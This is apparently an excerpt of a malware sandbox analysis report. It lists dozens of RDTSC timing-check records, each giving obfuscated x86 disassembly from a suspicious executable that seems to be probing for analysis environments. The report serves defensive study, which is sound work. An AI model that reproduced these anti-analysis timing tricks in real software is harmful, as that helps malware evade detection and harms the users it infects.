jmp 00007FAA08D7CA37h 0x0000006b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E80425 second address: 4E8042B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E8042B second address: 4E8042F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA0668 second address: 4EA06E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dl, D5h 0x00000005 call 00007FAA08929788h 0x0000000a pop ecx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov edx, esi 0x00000012 jmp 00007FAA08929788h 0x00000017 popad 0x00000018 mov dword ptr [esp], ebp 0x0000001b pushad 0x0000001c jmp 00007FAA0892977Eh 0x00000021 movzx ecx, bx 0x00000024 popad 0x00000025 mov ebp, esp 0x00000027 jmp 00007FAA0892977Dh 0x0000002c xchg eax, ecx 0x0000002d push eax 0x0000002e push edx 0x0000002f pushad 0x00000030 call 00007FAA08929783h 0x00000035 pop ecx 0x00000036 mov edi, 4088618Ch 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA06E9 second address: 4EA07DB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FAA08D7CA2Bh 0x0000000f xchg eax, ecx 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FAA08D7CA34h 0x00000017 and ax, 7408h 0x0000001c jmp 00007FAA08D7CA2Bh 0x00000021 popfd 0x00000022 pushfd 0x00000023 jmp 00007FAA08D7CA38h 0x00000028 sbb ecx, 3ACA9668h 0x0000002e jmp 00007FAA08D7CA2Bh 0x00000033 popfd 0x00000034 popad 0x00000035 xchg eax, esi 0x00000036 jmp 00007FAA08D7CA36h 0x0000003b push eax 0x0000003c jmp 00007FAA08D7CA2Bh 0x00000041 xchg eax, esi 0x00000042 jmp 00007FAA08D7CA36h 0x00000047 lea eax, dword ptr [ebp-04h] 0x0000004a jmp 00007FAA08D7CA30h 0x0000004f nop 0x00000050 pushad 0x00000051 pushad 0x00000052 mov dx, si 0x00000055 popad 0x00000056 pushad 0x00000057 mov eax, 7D093321h 0x0000005c movzx esi, di 0x0000005f popad 0x00000060 popad 0x00000061 push eax 0x00000062 push eax 0x00000063 push edx 0x00000064 pushad 0x00000065 jmp 00007FAA08D7CA35h 0x0000006a mov dx, si 0x0000006d popad 0x0000006e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA07DB second address: 4EA07F8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA0892977Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 nop 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d movsx edx, si 0x00000010 mov si, 74EBh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA07F8 second address: 4EA07FD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA0850 second address: 4EA0856 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA0856 second address: 4EA085C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA085C second address: 4EA0877 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA0892977Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b cmp dword ptr [ebp-04h], 00000000h 0x0000000f pushad 0x00000010 push eax 0x00000011 push edx 0x00000012 mov ah, dl 0x00000014 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E9007C second address: 4E90082 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90082 second address: 4E90093 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA0892977Dh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90093 second address: 4E900B2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 sub esp, 2Ch 0x0000000b jmp 00007FAA08D7CA2Dh 0x00000010 xchg eax, ebx 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 popad 0x00000017 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E900B2 second address: 4E900B8 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E900B8 second address: 4E900D9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d push esi 0x0000000e pop edi 0x0000000f mov ax, 370Fh 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E900D9 second address: 4E900F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08929785h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E900F9 second address: 4E900FF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E900FF second address: 4E9012D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ch, 86h 0x00000005 mov edi, 69D7B400h 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e jmp 00007FAA08929784h 0x00000013 mov dword ptr [esp], edi 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 movsx ebx, si 0x0000001c push esi 0x0000001d pop edi 0x0000001e popad 0x0000001f rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90167 second address: 4E90187 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edx, cx 0x00000006 popad 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov edi, 00000000h 0x0000000e push eax 0x0000000f push edx 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FAA08D7CA2Eh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90187 second address: 4E9018D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E9018D second address: 4E9022B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAA08D7CA2Ch 0x00000009 adc ah, FFFFFF98h 0x0000000c jmp 00007FAA08D7CA2Bh 0x00000011 popfd 0x00000012 jmp 00007FAA08D7CA38h 0x00000017 popad 0x00000018 pop edx 0x00000019 pop eax 0x0000001a inc ebx 0x0000001b pushad 0x0000001c jmp 00007FAA08D7CA2Dh 0x00000021 popad 0x00000022 test al, al 0x00000024 pushad 0x00000025 mov dx, cx 0x00000028 mov cx, 171Fh 0x0000002c popad 0x0000002d je 00007FAA08D7CC8Ah 0x00000033 push eax 0x00000034 push edx 0x00000035 pushad 0x00000036 jmp 00007FAA08D7CA37h 0x0000003b pushfd 0x0000003c jmp 00007FAA08D7CA38h 0x00000041 or cl, FFFFFFE8h 0x00000044 jmp 00007FAA08D7CA2Bh 0x00000049 popfd 0x0000004a popad 0x0000004b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E9022B second address: 4E90262 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08929789h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 lea ecx, dword ptr [ebp-14h] 0x0000000c jmp 00007FAA0892977Eh 0x00000011 mov dword ptr [ebp-14h], edi 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90262 second address: 4E90266 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90266 second address: 4E90283 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08929789h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E902BF second address: 4E902C8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov cx, 66B9h 0x00000008 popad 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E902C8 second address: 4E902CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E902CE second address: 4E902F1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FAA08D7CA38h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E902F1 second address: 4E902F7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E902F7 second address: 4E902FB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E9031F second address: 4E90365 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA0892977Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 test eax, eax 0x0000000b jmp 00007FAA08929786h 0x00000010 jg 00007FAA794F78BCh 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007FAA08929787h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90365 second address: 4E903BC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAA08D7CA2Fh 0x00000009 jmp 00007FAA08D7CA33h 0x0000000e popfd 0x0000000f call 00007FAA08D7CA38h 0x00000014 pop ecx 0x00000015 popad 0x00000016 pop edx 0x00000017 pop eax 0x00000018 js 00007FAA08D7CAC4h 0x0000001e push eax 0x0000001f push edx 0x00000020 jmp 00007FAA08D7CA2Ch 0x00000025 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E903BC second address: 4E903C2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E903C2 second address: 4E903C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E903C6 second address: 4E903CA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E903CA second address: 4E90405 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 cmp dword ptr [ebp-14h], edi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007FAA08D7CA32h 0x00000014 jmp 00007FAA08D7CA35h 0x00000019 popfd 0x0000001a mov dx, si 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90405 second address: 4E904C9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA0892977Dh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jne 00007FAA794F77FBh 0x0000000f pushad 0x00000010 mov bx, cx 0x00000013 pushfd 0x00000014 jmp 00007FAA08929788h 0x00000019 or eax, 1F959CF8h 0x0000001f jmp 00007FAA0892977Bh 0x00000024 popfd 0x00000025 popad 0x00000026 mov ebx, dword ptr [ebp+08h] 0x00000029 pushad 0x0000002a pushad 0x0000002b mov di, si 0x0000002e call 00007FAA0892977Eh 0x00000033 pop ecx 0x00000034 popad 0x00000035 pushfd 0x00000036 jmp 00007FAA0892977Bh 0x0000003b or ah, 0000006Eh 0x0000003e jmp 00007FAA08929789h 0x00000043 popfd 0x00000044 popad 0x00000045 lea eax, dword ptr [ebp-2Ch] 0x00000048 push eax 0x00000049 push edx 0x0000004a pushad 0x0000004b pushad 0x0000004c popad 0x0000004d pushfd 0x0000004e jmp 00007FAA08929789h 0x00000053 or ecx, 1B02AC56h 0x00000059 jmp 00007FAA08929781h 0x0000005e popfd 0x0000005f popad 0x00000060 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E904C9 second address: 4E904D2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, 5D92h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E904D2 second address: 4E9050A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 jmp 00007FAA08929784h 0x0000000d mov dword ptr [esp], esi 0x00000010 jmp 00007FAA08929780h 0x00000015 nop 0x00000016 push eax 0x00000017 push edx 0x00000018 pushad 0x00000019 push edi 0x0000001a pop esi 0x0000001b mov ecx, ebx 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E9050A second address: 4E90549 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA32h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FAA08D7CA2Bh 0x0000000f nop 0x00000010 jmp 00007FAA08D7CA36h 0x00000015 xchg eax, ebx 0x00000016 pushad 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90549 second address: 4E9054D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E9054D second address: 4E905CA instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FAA08D7CA2Ah 0x00000008 adc si, 84C8h 0x0000000d jmp 00007FAA08D7CA2Bh 0x00000012 popfd 0x00000013 pop edx 0x00000014 pop eax 0x00000015 pushfd 0x00000016 jmp 00007FAA08D7CA38h 0x0000001b and ah, 00000028h 0x0000001e jmp 00007FAA08D7CA2Bh 0x00000023 popfd 0x00000024 popad 0x00000025 push eax 0x00000026 pushad 0x00000027 jmp 00007FAA08D7CA2Fh 0x0000002c movzx ecx, dx 0x0000002f popad 0x00000030 xchg eax, ebx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 push eax 0x00000035 pop edx 0x00000036 jmp 00007FAA08D7CA38h 0x0000003b popad 0x0000003c rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E905EA second address: 4E90610 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop eax 0x00000005 push edi 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov esi, eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAA08929788h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90610 second address: 4E90616 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90616 second address: 4E9061A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E9061A second address: 4E90633 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 test esi, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007FAA08D7CA2Bh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90633 second address: 4E90637 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90637 second address: 4E9063D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E9063D second address: 4E90643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90643 second address: 4E90647 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90647 second address: 4E80E7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007FAA794F777Ch 0x0000000e xor eax, eax 0x00000010 jmp 00007FAA08902EAAh 0x00000015 pop esi 0x00000016 pop edi 0x00000017 pop ebx 0x00000018 leave 0x00000019 retn 0004h 0x0000001c nop 0x0000001d xor ebx, ebx 0x0000001f cmp eax, 00000000h 0x00000022 je 00007FAA089298D3h 0x00000028 call 00007FAA0D427A70h 0x0000002d mov edi, edi 0x0000002f push eax 0x00000030 push edx 0x00000031 push eax 0x00000032 push edx 0x00000033 pushad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E80E7B second address: 4E80E98 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA39h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E80E98 second address: 4E80EFC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov si, dx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esp 0x0000000c pushad 0x0000000d mov ax, A371h 0x00000011 mov ebx, ecx 0x00000013 popad 0x00000014 mov dword ptr [esp], ebp 0x00000017 jmp 00007FAA08929788h 0x0000001c mov ebp, esp 0x0000001e jmp 00007FAA08929780h 0x00000023 xchg eax, ecx 0x00000024 jmp 00007FAA08929780h 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c push eax 0x0000002d push edx 0x0000002e jmp 00007FAA0892977Dh 0x00000033 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E80EFC second address: 4E80F00 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E80F00 second address: 4E80F06 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E80F06 second address: 4E80F0C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E80F0C second address: 4E80F1C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c movsx edx, cx 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E80F1C second address: 4E80F73 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA35h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [ebp-04h], 55534552h 0x00000010 pushad 0x00000011 pushfd 0x00000012 jmp 00007FAA08D7CA2Ch 0x00000017 and ch, FFFFFFC8h 0x0000001a jmp 00007FAA08D7CA2Bh 0x0000001f popfd 0x00000020 call 00007FAA08D7CA38h 0x00000025 push eax 0x00000026 push edx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90980 second address: 4E9098F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA0892977Bh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E9098F second address: 4E90993 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90993 second address: 4E909BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], ebp 0x0000000b jmp 00007FAA08929785h 0x00000010 mov ebp, esp 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E909BB second address: 4E909BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E909BF second address: 4E909C3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E909C3 second address: 4E909C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E909C9 second address: 4E90A0D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov ax, 5C97h 0x00000007 call 00007FAA0892977Ch 0x0000000c pop eax 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 cmp dword ptr [75AB459Ch], 05h 0x00000017 jmp 00007FAA08929781h 0x0000001c je 00007FAA794E777Dh 0x00000022 push eax 0x00000023 push edx 0x00000024 jmp 00007FAA0892977Dh 0x00000029 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90A0D second address: 4E90A1D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FAA08D7CA2Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90A1D second address: 4E90A21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90A21 second address: 4E90A40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop ebp 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FAA08D7CA33h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90ABA second address: 4E90ABF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90ABF second address: 4E90B01 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 mov si, dx 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a call 00007FAA08D7CA29h 0x0000000f jmp 00007FAA08D7CA2Bh 0x00000014 push eax 0x00000015 jmp 00007FAA08D7CA39h 0x0000001a mov eax, dword ptr [esp+04h] 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90B01 second address: 4E90B05 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4E90B05 second address: 4E90B1F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FAA08D7CA36h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA0A66 second address: 4EA0A6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA0A6A second address: 4EA0A70 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\jYd7FUgGZc.exe	RDTSC instruction interceptor: First address: 4EA0A70 second address: 4EA0ACE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007FAA08929788h 0x00000009 jmp 00007FAA08929785h 0x0000000e popfd 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 je 00007FAA794D7088h 0x00000018 jmp 00007FAA0892977Dh 0x0000001d cmp dword ptr [75AB459Ch], 05h 0x00000024 push eax 0x00000025 push edx 0x00000026 jmp 00007FAA0892977Dh 0x0000002b rdtsc
